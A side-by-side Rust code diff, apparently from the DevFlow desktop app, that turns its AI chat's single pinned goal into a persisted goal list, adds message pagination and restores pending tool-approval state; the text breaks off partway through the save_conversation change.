use df_storage::db::Database; use df_storage::db::Database;
use df_types::augmentation::{Augmentation, MentionRef, ResolveError, SanitizedPath}; use df_types::augmentation::{Augmentation, MentionRef, ResolveError, SanitizedPath};
use df_types::types::{IdeaStatus, ProjectStatus, TaskStatus}; use df_types::types::{IdeaStatus, ProjectStatus, TaskStatus};
use df_storage::crud::{IdeaQuery, TaskQuery};
use crate::commands::ai::augmentation::registry::ResolverRegistry; use crate::commands::ai::augmentation::registry::ResolverRegistry;
use crate::commands::ai::augmentation::sanitize::{sanitize_for, ProviderLocality}; use crate::commands::ai::augmentation::sanitize::{sanitize_for, ProviderLocality};
@@ -87,7 +88,7 @@ impl MentionResolver for ProjectResolver {
ref_id: id.clone(), ref_id: id.clone(),
})?; })?;
// status: String → ProjectStatus(未知字符串按 Planning 兜底,不阻断注入) // status: String → ProjectStatus(未知字符串按 Planning 兜底,不阻断注入)
let status = ProjectStatus::from_db_str(&record.status).unwrap_or(ProjectStatus::Planning); let status = ProjectStatus::from_db_str(record.status.as_str()).unwrap_or(ProjectStatus::Planning);
// path 脱敏:None(未绑定)保持 None;Some 则按 locality 脱敏包 newtype // path 脱敏:None(未绑定)保持 None;Some 则按 locality 脱敏包 newtype
let path = record let path = record
.path .path
@@ -100,6 +101,43 @@ impl MentionResolver for ProjectResolver {
status, status,
description: record.description, description: record.description,
path, path,
extra: {
let mut lines: Vec<String> = Vec::new();
// Phase 4:查询该项目的前 5 条未完成任务
let task_repo = TaskRepo::new(&self.db);
if let Ok(tasks) = task_repo.list_by_query(&TaskQuery {
project_id: Some(id.clone()),
status: Some("in_progress".into()),
limit: Some(5),
..Default::default()
}).await {
if !tasks.is_empty() {
let mut task_lines: Vec<String> = tasks.iter().map(|t| {
format!(" - {} ({})", t.title, t.status.as_str())
}).collect();
task_lines.insert(0, format!("进行中任务({}):", tasks.len()));
lines.push(task_lines.join("\n"));
}
}
// 待评估灵感
let idea_repo = IdeaRepo::new(&self.db);
if let Ok(ideas) = idea_repo.list_by_query(&IdeaQuery {
limit: Some(3),
..Default::default()
}).await {
let related: Vec<_> = ideas.iter()
.filter(|i| i.status.as_str() == "pending_review")
.take(3)
.map(|i| format!(" - {} ({})", i.title, i.status.as_str()))
.collect();
if !related.is_empty() {
let mut idea_lines = vec![format!("待评估灵感({}):", related.len())];
idea_lines.extend(related);
lines.push(idea_lines.join("\n"));
}
}
lines
},
}) })
} }
} }
@@ -151,7 +189,7 @@ impl MentionResolver for TaskResolver {
kind: "task".to_string(), kind: "task".to_string(),
ref_id: id.clone(), ref_id: id.clone(),
})?; })?;
let status = TaskStatus::from_db_str(&task.status).unwrap_or(TaskStatus::Todo); let status = TaskStatus::from_db_str(task.status.as_str()).unwrap_or(TaskStatus::Todo);
// join project_name:project_id 取 ProjectRecord.name;失败/无对应 None(非错误) // join project_name:project_id 取 ProjectRecord.name;失败/无对应 None(非错误)
let project_name = { let project_name = {
let project_repo = ProjectRepo::new(&self.db); let project_repo = ProjectRepo::new(&self.db);
@@ -166,6 +204,7 @@ impl MentionResolver for TaskResolver {
status, status,
description: task.description, description: task.description,
project_name, project_name,
extra: vec![],
}) })
} }
} }
@@ -214,12 +253,13 @@ impl MentionResolver for IdeaResolver {
kind: "idea".to_string(), kind: "idea".to_string(),
ref_id: id.clone(), ref_id: id.clone(),
})?; })?;
let status = IdeaStatus::from_db_str(&record.status).unwrap_or(IdeaStatus::Draft); let status = IdeaStatus::from_db_str(record.status.as_str()).unwrap_or(IdeaStatus::Draft);
Ok(Augmentation::Idea { Ok(Augmentation::Idea {
id: record.id, id: record.id,
title: record.title, title: record.title,
status, status,
description: record.description, description: record.description,
extra: vec![],
}) })
} }
} }

View File

@@ -39,6 +39,8 @@ const DEFINITION_KINDS: &[&str] = &[
"interface_declaration", "interface_declaration",
"enum_declaration", "enum_declaration",
"method_definition", "method_definition",
// TS/JS const/let/var 声明(如 const fn = () => {})
"variable_declarator",
// Go // Go
"method_declaration", // Go method(receiver func) "method_declaration", // Go method(receiver func)
"type_declaration", // Go type Xxx struct/interface/func "type_declaration", // Go type Xxx struct/interface/func

View File

@@ -24,7 +24,7 @@ use crate::state::AppState;
use crate::commands::{err_str, now_millis}; use crate::commands::{err_str, now_millis};
// chat.rs 的 super = commands,super::super = ai(与原 commands.rs 的 super=ai 等价)。 // chat.rs 的 super = commands,super::super = ai(与原 commands.rs 的 super=ai 等价)。
use super::super::agentic::{run_agentic_loop, try_continue_agent_loop, GOAL_MAX_CHARS, GOAL_PIN_ENABLED}; use super::super::agentic::{run_agentic_loop, try_continue_agent_loop, GOAL_MAX_CHARS, GOAL_PIN_ENABLED, MAX_GOALS};
// 双轨收口批1:读侧入口拦截用 ConvState(can_accept_request 的 unwrap_or 兜底初值)。 // 双轨收口批1:读侧入口拦截用 ConvState(can_accept_request 的 unwrap_or 兜底初值)。
use super::super::agentic::conv_state::ConvState; use super::super::agentic::conv_state::ConvState;
use super::super::audit::{audit_finalize, emit_data_changed}; use super::super::audit::{audit_finalize, emit_data_changed};
@@ -72,10 +72,10 @@ pub(crate) fn finalize_pending_placeholders(session: &mut super::super::AiSessio
} }
} }
/// G1 目标钉扎:从 user 消息文本提取目标(纯函数,无 IO / 无额外 LLM 请求)。 /// G1 目标钉扎:从 user 消息文本提取单条目标(纯函数,无 IO / 无额外 LLM 请求)。
/// ///
/// 治 R1(目标消息被压缩出局)的提取侧:首条 active user 消息即原始目标(push 时还 active), /// 治 R1(目标消息被压缩出局)的提取侧:每次 user 消息的文本即潜在目标,
/// 提取后 `PerConvState.pinned_goal` 绕过消息 active 状态过滤,即使原消息出局 goal 仍在。 /// 提取后追加到 `PerConvState.pinned_goals` Vec(去重),即使原消息出局目标仍在。
/// ///
/// 处理(零额外请求,对齐 GLM 限额口径 1 请求=1 次): /// 处理(零额外请求,对齐 GLM 限额口径 1 请求=1 次):
/// 1. strip 所有 `[kind:...]` mention 段(augmentation 已投影,目标文本去噪)。对齐 intent.rs /// 1. strip 所有 `[kind:...]` mention 段(augmentation 已投影,目标文本去噪)。对齐 intent.rs
@@ -84,7 +84,7 @@ pub(crate) fn finalize_pending_placeholders(session: &mut super::super::AiSessio
/// 2. trim 空白。 /// 2. trim 空白。
/// 3. 截断到 GOAL_MAX_CHARS(防长需求文档撑爆 system_prompt 占预算)。 /// 3. 截断到 GOAL_MAX_CHARS(防长需求文档撑爆 system_prompt 占预算)。
/// ///
/// 返回空串(纯 mention / 空消息)→ 调用方判非空才写入 pinned_goal(避免空目标注入)。 /// 返回空串(纯 mention / 空消息)→ 调用方判非空才追加到 pinned_goals(避免空目标注入)。
/// 默认用原文非 LLM 提取(消息锚点派 keepIdeas:零额外请求)。 /// 默认用原文非 LLM 提取(消息锚点派 keepIdeas:零额外请求)。
pub(crate) fn extract_pinned_goal(text: &str) -> String { pub(crate) fn extract_pinned_goal(text: &str) -> String {
// strip 所有 [kind:...] mention 段(对齐 intent.rs strip_mention_tags/try_match_mention 逻辑, // strip 所有 [kind:...] mention 段(对齐 intent.rs strip_mention_tags/try_match_mention 逻辑,
@@ -463,12 +463,15 @@ pub async fn ai_chat_send(
// DRY(B):知识注入已收敛至 inject_knowledge_into_prompt(helper 内部同消息取 text+id), // DRY(B):知识注入已收敛至 inject_knowledge_into_prompt(helper 内部同消息取 text+id),
// 此处 user_msg_id 不再透传到注入逻辑,保留下划线占用(锁内 push 已发生,语义不变)。 // 此处 user_msg_id 不再透传到注入逻辑,保留下划线占用(锁内 push 已发生,语义不变)。
let user_msg_id = conv.messages.last_user_message_id(); let user_msg_id = conv.messages.last_user_message_id();
// G1 目标钉扎:push 后提取本次 user 目标刷新 pinned_goal(每次覆盖,支持中途换目标)。 // G1 目标钉扎:push 后提取本次 user 目标追加到 pinned_goals(去重,支持累积多目标)。
// GOAL_PIN_ENABLED=false → 跳过(单点回退);extract_pinned_goal 返空(纯 mention 前缀)→ 不刷新 // GOAL_PIN_ENABLED=false → 跳过;extract_pinned_goal 返空 → 不追加
if GOAL_PIN_ENABLED { if GOAL_PIN_ENABLED {
let goal = extract_pinned_goal(&user_content); let goal = extract_pinned_goal(&user_content);
if !goal.is_empty() { if !goal.is_empty() && !conv.pinned_goals.contains(&goal) {
conv.pinned_goal = Some(goal); conv.pinned_goals.push(goal);
if conv.pinned_goals.len() > MAX_GOALS {
conv.pinned_goals.remove(0);
}
} }
} }
(target, user_msg_id) (target, user_msg_id)
@@ -526,7 +529,6 @@ pub async fn ai_approve(
tool_call_id: String, tool_call_id: String,
approved: bool, approved: bool,
) -> Result<String, String> { ) -> Result<String, String> {
authz_debug(&format!("[ai_approve] 入口 tool_call_id={} approved={}", tool_call_id, approved));
let mut session = state.ai_session.lock().await; let mut session = state.ai_session.lock().await;
let approval = match session.pending_approvals.remove(&tool_call_id) { let approval = match session.pending_approvals.remove(&tool_call_id) {
@@ -658,7 +660,12 @@ pub async fn ai_approve(
state.ai_tools.execute(&approval.tool_name, args.clone()), state.ai_tools.execute(&approval.tool_name, args.clone()),
).await { ).await {
Ok(r) => r, Ok(r) => r,
Err(_) => Err(anyhow::anyhow!("工具执行超时(60s): {}", approval.tool_name)), // 任务2: ai_approve 路径同步 run_command 失败提示(超时为最常见失败场景)。
// 仅对 run_command 追加(其余工具无 shell 适配问题),避免污染其他工具错误语义。
Err(_) => Err(anyhow::anyhow!("工具执行超时(60s): {}{}", approval.tool_name,
if approval.tool_name == "run_command" && cfg!(windows) {
"\n提示: PowerShell 下路径用正斜杠或双引号包裹,命令间用 `;` 而非 `&&`(PS5)"
} else { "" })),
} }
}; };
// 工具失败不 return Err把错误包成 tool_result落库 + emit completed + 续循环全走通。 // 工具失败不 return Err把错误包成 tool_result落库 + emit completed + 续循环全走通。
@@ -753,13 +760,7 @@ pub async fn ai_approve(
/// F-260620 临时诊断:授权/审批 IPC 调用链文件日志(不依赖终端 stderr,排障用)。 /// F-260620 临时诊断:授权/审批 IPC 调用链文件日志(不依赖终端 stderr,排障用)。
/// 写入 OS 临时目录(跨平台,不污染用户项目目录)。打包分发后仍可工作。 /// 写入 OS 临时目录(跨平台,不污染用户项目目录)。打包分发后仍可工作。
fn authz_debug(msg: &str) {
use std::io::Write;
let log_path = std::env::temp_dir().join("devflow-authz-debug.log");
if let Ok(mut f) = std::fs::OpenOptions::new().create(true).append(true).open(&log_path) {
let _ = writeln!(f, "{}", msg);
}
}
/// 阶段4(容错/恢复):取路径的 Windows 盘符(如 "C:" / "E:"),非 Windows / 无盘符返 None。 /// 阶段4(容错/恢复):取路径的 Windows 盘符(如 "C:" / "E:"),非 Windows / 无盘符返 None。
/// ///
@@ -849,7 +850,6 @@ pub async fn ai_authorize_dir(
decision = %decision, decision = %decision,
"[AI-AUTHZ] ai_authorize_dir 入口" "[AI-AUTHZ] ai_authorize_dir 入口"
); );
authz_debug(&format!("[ai_authorize_dir] 入口 tool_call_id={} decision={}", tool_call_id, decision));
// 取 pending(阶段3a 单真相源合并:从 pending_approvals remove;kind 校验为 Path)。 // 取 pending(阶段3a 单真相源合并:从 pending_approvals remove;kind 校验为 Path)。
let approval = { let approval = {
let mut session = state.ai_session.lock().await; let mut session = state.ai_session.lock().await;
@@ -1362,8 +1362,11 @@ pub async fn ai_chat_edit(
// G1 目标钉扎:替换消息后重新提取目标(用户可能通过编辑改变了意图,与 send 路径一致) // G1 目标钉扎:替换消息后重新提取目标(用户可能通过编辑改变了意图,与 send 路径一致)
if GOAL_PIN_ENABLED { if GOAL_PIN_ENABLED {
let goal = extract_pinned_goal(&new_message); let goal = extract_pinned_goal(&new_message);
if !goal.is_empty() { if !goal.is_empty() && !conv.pinned_goals.contains(&goal) {
conv.pinned_goal = Some(goal); conv.pinned_goals.push(goal);
if conv.pinned_goals.len() > MAX_GOALS {
conv.pinned_goals.remove(0);
}
} }
} }
} }
@@ -1461,7 +1464,7 @@ pub async fn ai_chat_force_send(
// F-260616-09 B 批4(决策 e):force_send 仅复位**目标 conv 自己**的 generating(用户当前面板), // F-260616-09 B 批4(决策 e):force_send 仅复位**目标 conv 自己**的 generating(用户当前面板),
// 不再跨 conv 杀(旧实现清全局 generating + 全 clear pending_approvals,在真并发下会误杀其他 // 不再跨 conv 杀(旧实现清全局 generating + 全 clear pending_approvals,在真并发下会误杀其他
// 后台 conv 的 loop/审批)。pending_approvals 仅清目标 conv 的(retain),保留其他 conv 的。 // 后台 conv 的 loop/审批)。pending_approvals 仅清目标 conv 的(retain),保留其他 conv 的。
let (old_conv_id, conv_id, _user_message_id) = { let (old_conv_id, conv_id, _user_message_id, old_pinned_goals) = {
let mut session = state.ai_session.lock().await; let mut session = state.ai_session.lock().await;
// 目标 conv:入参优先 → active → 懒创建。 // 目标 conv:入参优先 → active → 懒创建。
let target = conversation_id.clone().filter(|s| !s.is_empty()) let target = conversation_id.clone().filter(|s| !s.is_empty())
@@ -1531,16 +1534,18 @@ pub async fn ai_chat_force_send(
} }
// F-260619-04 P1:push 后立即取末条 user 消息 id(供知识注入 referenced 溯源)。 // F-260619-04 P1:push 后立即取末条 user 消息 id(供知识注入 referenced 溯源)。
let user_msg_id = conv.messages.last_user_message_id(); let user_msg_id = conv.messages.last_user_message_id();
// G1 目标钉扎:push 后提取本次 user 目标刷新 pinned_goal(每次覆盖,与 send 路径一致,支持中途换目标)。 // G1 目标钉扎:push 后提取本次 user 目标追加到 pinned_goals(去重,与 send/edit 路径一致,支持累积多目标)。
// force_send 是用户新指令,审批续跑会复用此目标(对齐 G1 changes:审批期间用户发新消息 → // force_send 是用户新指令,审批续跑会复用已累积目标。
// pinned_goal 已更新,续跑用新目标)。
if GOAL_PIN_ENABLED { if GOAL_PIN_ENABLED {
let goal = extract_pinned_goal(&user_content); let goal = extract_pinned_goal(&user_content);
if !goal.is_empty() { if !goal.is_empty() && !conv.pinned_goals.contains(&goal) {
conv.pinned_goal = Some(goal); conv.pinned_goals.push(goal);
if conv.pinned_goals.len() > MAX_GOALS {
conv.pinned_goals.remove(0);
} }
} }
(was_gen.then_some(target.clone()), target, user_msg_id) }
(was_gen.then_some(target.clone()), target, user_msg_id, conv.pinned_goals.clone())
}; };
// 通知前端目标 conv 旧生成已结束(若先前在生成;emit 在锁外,避免持锁调 runtime emit) // 通知前端目标 conv 旧生成已结束(若先前在生成;emit 在锁外,避免持锁调 runtime emit)
@@ -1551,6 +1556,7 @@ pub async fn ai_chat_force_send(
completion_tokens: 0, completion_tokens: 0,
incomplete: None, incomplete: None,
conversation_id: Some(cid.clone()), conversation_id: Some(cid.clone()),
pinned_goals: old_pinned_goals.clone(),
}; };
let _ = app.emit("ai-chat-event", ev.clone()); let _ = app.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。 // L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。
@@ -1649,10 +1655,12 @@ pub async fn ai_chat_stop(
), ),
} }
conv.stop_flag.store(true, Ordering::SeqCst); // 双保险:防 try_continue 误判重启 conv.stop_flag.store(true, Ordering::SeqCst); // 双保险:防 try_continue 误判重启
let pinned_goals = conv.pinned_goals.clone();
drop(session); drop(session);
let ev = AiChatEvent::AiCompleted { let ev = AiChatEvent::AiCompleted {
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0, incomplete: None, total_tokens: 0, prompt_tokens: 0, completion_tokens: 0, incomplete: None,
conversation_id: Some(target), conversation_id: Some(target),
pinned_goals,
}; };
let _ = app.emit("ai-chat-event", ev.clone()); let _ = app.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。 // L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。
@@ -1701,6 +1709,7 @@ pub async fn ai_chat_stop(
"[ai] ai_chat_stop 3秒超时 ConvState→Idle 非法(不阻断 emit AiCompleted)" "[ai] ai_chat_stop 3秒超时 ConvState→Idle 非法(不阻断 emit AiCompleted)"
), ),
} }
let pinned_goals = conv.pinned_goals.clone();
drop(session); // 释放锁后再 emit避免持锁调 runtime emit drop(session); // 释放锁后再 emit避免持锁调 runtime emit
let ev = AiChatEvent::AiCompleted { let ev = AiChatEvent::AiCompleted {
total_tokens: 0, total_tokens: 0,
@@ -1708,6 +1717,7 @@ pub async fn ai_chat_stop(
completion_tokens: 0, completion_tokens: 0,
incomplete: None, incomplete: None,
conversation_id: conv_id, conversation_id: conv_id,
pinned_goals,
}; };
let _ = app_handle.emit("ai-chat-event", ev.clone()); let _ = app_handle.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。闭包内 app_handle 仍可访问 AppState。 // L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。闭包内 app_handle 仍可访问 AppState。
@@ -1772,6 +1782,7 @@ pub async fn ai_stop_loop(
state: State<'_, AppState>, state: State<'_, AppState>,
conversation_id: String, conversation_id: String,
) -> Result<String, String> { ) -> Result<String, String> {
let pinned_goals: Vec<String>;
{ {
let mut session = state.ai_session.lock().await; let mut session = state.ai_session.lock().await;
// F-260616-09 B 批4(决策 e):conv_id 来源 IPC 参数 conversation_id,移除 active 一致性校验 // F-260616-09 B 批4(决策 e):conv_id 来源 IPC 参数 conversation_id,移除 active 一致性校验
@@ -1794,6 +1805,7 @@ pub async fn ai_stop_loop(
"[ai] ai_stop_loop ConvState→Idle 非法(不阻断 emit AiCompleted)" "[ai] ai_stop_loop ConvState→Idle 非法(不阻断 emit AiCompleted)"
), ),
} }
pinned_goals = conv.pinned_goals.clone();
} }
// 暂停态进入前已 save_conversation此处零 token 上报仅作收敛信号(与 try_continue 补发 AiCompleted 一致) // 暂停态进入前已 save_conversation此处零 token 上报仅作收敛信号(与 try_continue 补发 AiCompleted 一致)
let ev = AiChatEvent::AiCompleted { let ev = AiChatEvent::AiCompleted {
@@ -1802,9 +1814,74 @@ pub async fn ai_stop_loop(
completion_tokens: 0, completion_tokens: 0,
incomplete: None, incomplete: None,
conversation_id: Some(conversation_id), conversation_id: Some(conversation_id),
pinned_goals,
}; };
let _ = app.emit("ai-chat-event", ev.clone()); let _ = app.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。 // L3 emit 双写:tunnel subscriber(阶段2 后续)透传 miniapp。
let _ = app.state::<AppState>().ai_event_bus.publish_event(ev); let _ = app.state::<AppState>().ai_event_bus.publish_event(ev);
Ok("ok".to_string()) Ok("ok".to_string())
} }
#[cfg(test)]
mod tests {
use super::*;
// ============================================================
// G1 extract_pinned_goal 单测
// ============================================================
#[test]
fn test_extract_plain_goal() {
let goal = extract_pinned_goal("实现代码审查功能");
assert_eq!(goal, "实现代码审查功能");
}
#[test]
fn test_extract_strip_mention_suffix() {
let goal = extract_pinned_goal("分析灵感模块不足 [项目: DevFlow]");
assert_eq!(goal, "分析灵感模块不足");
}
#[test]
fn test_extract_strip_mention_prefix() {
let goal = extract_pinned_goal("[任务: T-123] 修复登录页白屏");
assert_eq!(goal, "修复登录页白屏");
}
#[test]
fn test_extract_empty_input() {
let goal = extract_pinned_goal("");
assert!(goal.is_empty());
}
#[test]
fn test_extract_only_mention() {
let goal = extract_pinned_goal("[项目: DevFlow]");
assert!(goal.is_empty());
}
#[test]
fn test_extract_english_kind() {
let goal = extract_pinned_goal("Fix login bug [task: T-789]");
assert_eq!(goal, "Fix login bug");
}
#[test]
fn test_extract_fullwidth_colon() {
let goal = extract_pinned_goal("重构模块 [项目DevFlow]");
assert_eq!(goal, "重构模块");
}
#[test]
fn test_extract_truncate_long() {
let long = "a".repeat(GOAL_MAX_CHARS + 100);
let goal = extract_pinned_goal(&long);
assert_eq!(goal.chars().count(), GOAL_MAX_CHARS);
}
#[test]
fn test_extract_mention_unclosed() {
let goal = extract_pinned_goal("测试 [项目: DevFlow");
assert_eq!(goal, "测试 [项目: DevFlow");
}
}

View File

@@ -221,12 +221,17 @@ pub async fn ai_conversation_list(
let models: Vec<String> = r.models.as_deref() let models: Vec<String> = r.models.as_deref()
.and_then(|s| serde_json::from_str(s).ok()) .and_then(|s| serde_json::from_str(s).ok())
.unwrap_or_default(); .unwrap_or_default();
let pinned_goals: Vec<String> = r.pinned_goals
.as_deref()
.and_then(|s| serde_json::from_str(s).ok())
.unwrap_or_default();
serde_json::json!({ serde_json::json!({
"id": r.id, "id": r.id,
"title": r.title, "title": r.title,
"provider_id": r.provider_id, "provider_id": r.provider_id,
"model": r.model, "model": r.model,
"models": models, "models": models,
"pinned_goals": pinned_goals,
"archived": r.archived, "archived": r.archived,
"pinned": r.pinned, "pinned": r.pinned,
"prompt_tokens": r.prompt_tokens, "prompt_tokens": r.prompt_tokens,
@@ -256,10 +261,10 @@ pub async fn ai_conversation_switch(
// fallback 兜底:ai_messages 表为空(返空 Vec)但旧 messages JSON 列非空 `[]` // fallback 兜底:ai_messages 表为空(返空 Vec)但旧 messages JSON 列非空 `[]`
// (老库未迁移 / 坏数据 / 批次 B 写路径尚未上线时的新对话)→ 回退读 messages JSON + warn。 // (老库未迁移 / 坏数据 / 批次 B 写路径尚未上线时的新对话)→ 回退读 messages JSON + warn。
// 双向兼容:批次 B 上线后写双轨,读永远先走 ai_messages;迁移未跑的老对话走 fallback。 // 双向兼容:批次 B 上线后写双轨,读永远先走 ai_messages;迁移未跑的老对话走 fallback。
let records = state.ai_messages.list_by_conversation(&conversation_id).await let all_records = state.ai_messages.list_by_conversation(&conversation_id).await
.map_err(err_str)?; .map_err(err_str)?;
let messages: Vec<ChatMessage> = if !records.is_empty() { let messages: Vec<ChatMessage> = if !all_records.is_empty() {
records.iter().map(record_to_message).collect() all_records.iter().map(record_to_message).collect()
} else { } else {
// 表空 → fallback 旧 messages JSON 列(若也空则空 Vec,空对话合法) // 表空 → fallback 旧 messages JSON 列(若也空则空 Vec,空对话合法)
let has_legacy = record.messages != "[]" && !record.messages.is_empty(); let has_legacy = record.messages != "[]" && !record.messages.is_empty();
@@ -276,9 +281,25 @@ pub async fn ai_conversation_switch(
} }
}; };
// 由 records/chat_messages 重序列化返回前端(前端契约不变,仍吃 JSON 字符串)。 // 后端 per_conv 存全量消息(LLM 上下文用),前端只渲染最近 N 条(分页懒加载,治长对话卡顿)。
let messages_json = serde_json::to_string(&messages) // PAGE_SIZE:首屏渲染条数,超出的历史消息由前端滚顶加载更多(ai_conversation_load_more IPC)。
const PAGE_SIZE: usize = 50;
let total_count = messages.len();
let render_messages: Vec<ChatMessage> = if total_count > PAGE_SIZE {
messages[total_count - PAGE_SIZE..].to_vec()
} else {
messages.clone()
};
let messages_json = serde_json::to_string(&render_messages)
.map_err(|e| format!("序列化消息失败: {}", e))?; .map_err(|e| format!("序列化消息失败: {}", e))?;
let has_more = total_count > PAGE_SIZE;
let earliest_seq = if !all_records.is_empty() {
// 返回首屏最早消息的 seq,前端滚顶加载时传此值作游标
let page_start = total_count.saturating_sub(PAGE_SIZE);
Some(all_records[page_start].seq)
} else {
None
};
let title = record.title.clone(); let title = record.title.clone();
// B-260617-17 续:历史会话 title 空(显"新对话")→ 切入后触发重新生成(用户诉求)。 // B-260617-17 续:历史会话 title 空(显"新对话")→ 切入后触发重新生成(用户诉求)。
// 含 "新对话" 占位(Some 但未生成):title.rs ensure :40 同步排除"新对话"占位不跳过, // 含 "新对话" 占位(Some 但未生成):title.rs ensure :40 同步排除"新对话"占位不跳过,
@@ -311,6 +332,12 @@ pub async fn ai_conversation_switch(
conv.agent_language = None; conv.agent_language = None;
conv.iteration_used = 0; conv.iteration_used = 0;
conv.stop_flag.store(false, Ordering::SeqCst); conv.stop_flag.store(false, Ordering::SeqCst);
// 从 DB 恢复 pinned_goals 到 per_conv(G1 目标钉扎持久化)
let pinned_goals: Vec<String> = record.pinned_goals
.as_deref()
.and_then(|s| serde_json::from_str(s).ok())
.unwrap_or_default();
conv.pinned_goals = pinned_goals;
} }
// 仅清空目标对话自身的挂起审批,保留其他对话的(防 init 重建的内存 HashMap 被清空, // 仅清空目标对话自身的挂起审批,保留其他对话的(防 init 重建的内存 HashMap 被清空,
// 重启恢复链路:restore_pending_approvals(init 重建) → switchConversation(此处不清目标对话的) // 重启恢复链路:restore_pending_approvals(init 重建) → switchConversation(此处不清目标对话的)
@@ -321,6 +348,29 @@ pub async fn ai_conversation_switch(
super::chat::finalize_pending_placeholders(&mut *session, &conversation_id, "会话已切换"); super::chat::finalize_pending_placeholders(&mut *session, &conversation_id, "会话已切换");
// 阶段3a 单真相源合并:单表 retain(kind 不区分,清本 conv 保留其他)。 // 阶段3a 单真相源合并:单表 retain(kind 不区分,清本 conv 保留其他)。
session.pending_approvals.retain(|_, a| a.conversation_id.as_deref() != Some(&conversation_id)); session.pending_approvals.retain(|_, a| a.conversation_id.as_deref() != Some(&conversation_id));
// 从 DB 恢复本对话的挂起审批快照(重启/切回时,之前 save_conversation 持久化的 pending_approvals)
// 反序列化后插入 session.pending_approvals,使 ai_pending_tool_calls 可查回、审批卡片恢复。
if let Some(pending_json) = &record.pending_approvals {
if pending_json != "{}" && !pending_json.is_empty() {
if let Ok(restored) = serde_json::from_str::<
std::collections::HashMap<String, crate::commands::ai::PendingApproval>
>(pending_json) {
let restored_count = restored.len();
// 仅恢复本 conv 的条目(已按 conv_id 过滤写入,DB 快照天然是本 conv 的)
session.pending_approvals.extend(restored);
tracing::info!(
"切换对话 {} 恢复 {} 条挂起审批(来自 DB pending_approvals 列)",
conversation_id, restored_count
);
} else {
tracing::warn!(
"切换对话 {} 反序列化 pending_approvals 失败,原始内容前 200 字: {:?}",
conversation_id, &pending_json.chars().take(200).collect::<String>()
);
}
}
}
// 释放 session lock 再做 async provider 查询 + spawn(避免持锁 await DB) // 释放 session lock 再做 async provider 查询 + spawn(避免持锁 await DB)
drop(session); drop(session);
@@ -349,6 +399,35 @@ pub async fn ai_conversation_switch(
"id": record.id, "id": record.id,
"title": title, "title": title,
"messages": messages_json, "messages": messages_json,
"has_more": has_more,
"earliest_seq": earliest_seq,
}))
}
/// 加载更多历史消息(分页懒加载,滚顶触发)。
///
/// 前端 switchConversation 首次拿最近 50 条 + has_more=true + earliest_seq。
/// 滚顶时传 earliest_seq 调本命令,返回更早的 50 条 + 新 has_more + 新 earliest_seq。
/// per_conv 内存不受影响(后端始终持全量消息供 LLM 上下文用,分页仅影响前端渲染)。
#[tauri::command]
pub async fn ai_conversation_load_more(
state: State<'_, AppState>,
conversation_id: String,
before_seq: i64,
) -> Result<serde_json::Value, String> {
const PAGE_SIZE: usize = 50;
let records = state.ai_messages.list_recent(&conversation_id, PAGE_SIZE, Some(before_seq))
.await
.map_err(err_str)?;
let has_more = records.len() == PAGE_SIZE;
let new_earliest_seq = records.first().map(|r| r.seq);
let messages: Vec<ChatMessage> = records.iter().map(record_to_message).collect();
let messages_json = serde_json::to_string(&messages)
.map_err(|e| format!("序列化消息失败: {}", e))?;
Ok(serde_json::json!({
"messages": messages_json,
"has_more": has_more,
"earliest_seq": new_earliest_seq,
})) }))
} }
@@ -439,6 +518,30 @@ pub async fn ai_conversation_set_pinned(
Ok(()) Ok(())
} }
/// 更新对话目标钉扎列表(G1 目标钉扎持久化:对话透明化 L1)
///
/// 接收前端 UI 增删后的目标列表,持久化到 DB 并同步更新内存 per_conv 状态。
/// goals 是完整替换(非增量),前端增/删后传全量 new Vec。
#[tauri::command]
pub async fn ai_update_conversation_goals(
state: State<'_, AppState>,
conversation_id: String,
goals: Vec<String>,
) -> Result<(), String> {
let goals_json = serde_json::to_string(&goals).map_err(|e| format!("序列化目标列表失败: {e}"))?;
// 写 DB
state.ai_conversations
.update_field(&conversation_id, "pinned_goals", &goals_json)
.await
.map_err(err_str)?;
// 同步内存 per_conv(若已加载)
let mut session = state.ai_session.lock().await;
if let Some(conv) = session.per_conv.get_mut(&conversation_id) {
conv.pinned_goals = goals;
}
Ok(())
}
/// 导出对话为指定格式(UX-18:对话导出) /// 导出对话为指定格式(UX-18:对话导出)
/// ///
/// - 优先落库 messages(完整历史,与 switch 一致),内存 session 不读(可能被切走/未落库) /// - 优先落库 messages(完整历史,与 switch 一致),内存 session 不读(可能被切走/未落库)

View File

@@ -164,7 +164,7 @@ pub(crate) async fn save_conversation(
// loop 内 save 由 run_agentic_loop 入参 conv_id 透传;IPC 路径(commands.rs)save 也传 conv_id。 // loop 内 save 由 run_agentic_loop 入参 conv_id 透传;IPC 路径(commands.rs)save 也传 conv_id。
// conv() 惰性建:save 路径 conv 必然已建(send/regenerate/edit/switch 均先 conv());若极端 // conv() 惰性建:save 路径 conv 必然已建(send/regenerate/edit/switch 均先 conv());若极端
// 未建(如启动恢复无 live conv),conv() 建空 PerConvState,save 空 messages(幂等不污染)。 // 未建(如启动恢复无 live conv),conv() 建空 PerConvState,save 空 messages(幂等不污染)。
let (persist_msgs, provider_id, created_at) = { let (persist_msgs, provider_id, created_at, pinned_goals) = {
let mut session = session_arc.lock().await; let mut session = session_arc.lock().await;
let mut msgs = session.conv(conv_id).messages.all_messages_clone(); let mut msgs = session.conv(conv_id).messages.all_messages_clone();
for m in &mut msgs { for m in &mut msgs {
@@ -185,9 +185,22 @@ pub(crate) async fn save_conversation(
msgs, msgs,
session.active_provider_id.clone(), session.active_provider_id.clone(),
session.active_conv_created_at.clone(), session.active_conv_created_at.clone(),
session.conv(conv_id).pinned_goals.clone(),
) )
}; };
// 序列化当前 conv 的挂起审批快照:从 session.pending_approvals 筛选本 conv 条目,
// 序列化为 JSON 对象(tool_call_id → PendingApproval),落库供重启/切回时恢复。
let pending_approvals_json = {
let session = session_arc.lock().await;
let conv_pending: std::collections::HashMap<&String, &crate::commands::ai::PendingApproval> = session.pending_approvals
.iter()
.filter(|(_, a)| a.conversation_id.as_deref() == Some(conv_id))
.collect();
